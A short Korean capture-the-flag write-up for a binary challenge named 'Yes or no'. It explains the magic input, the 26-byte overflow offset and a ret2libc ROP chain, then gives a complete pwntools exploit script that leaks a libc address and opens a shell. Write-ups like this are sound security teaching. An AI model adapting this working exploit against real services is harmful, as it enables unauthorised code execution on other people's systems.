Yes or no 본문
암호를 맞추어야 한다.
반복문에 bp를 걸고 확인을 하겠다.
입력 값이 0x960000이어야 한다.
10진수로 입력을 해준다.
다시한번 입력이 가능해진다.
ret까지의 offset을 확인해본다.
ret까지 26byte이다.
ROP기법을 통해 쉘을 실행한다.
필요한 가젯들을 모은다.
1. puts의 실제 주소를 구한 후 다시 main을 실행하게 한다.
2. libc base을 이용해 system과 binsh의 주소를 구한다.
3. system을 실행한다.
from pwn import *
#p = remote("ctf.j0n9hyun.xyz",3009)
p = process("./yes_or_no")
context.log_level = "Debug"
elf = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")
binsh_offset = next(libc.search("/bin/sh\x00"))
print(hex(binsh_offset))
pop_rdi = 0x400883
gdb.attach(p)
p.sendline("9830400")
payload = "A"*26
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
p.sendline(payload)
p.recvuntil("Follow me\n")
leak_puts = u64(p.recv(6)+"\x00\x00")
libc_base = leak_puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + binsh_offset
p.sendline("9830400")
payload = "A"*26
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rdi+1)
payload += p64(system)
p.sendline(payload)
p.interactive()
마지막 pop_rdi+1은
rsp 16byte align 현상으로 인해 해준것이다.
rsp의 끝 바이트를 맞춰주지 않으면 쉘을 실행시키지 못하고 터진다.
Comments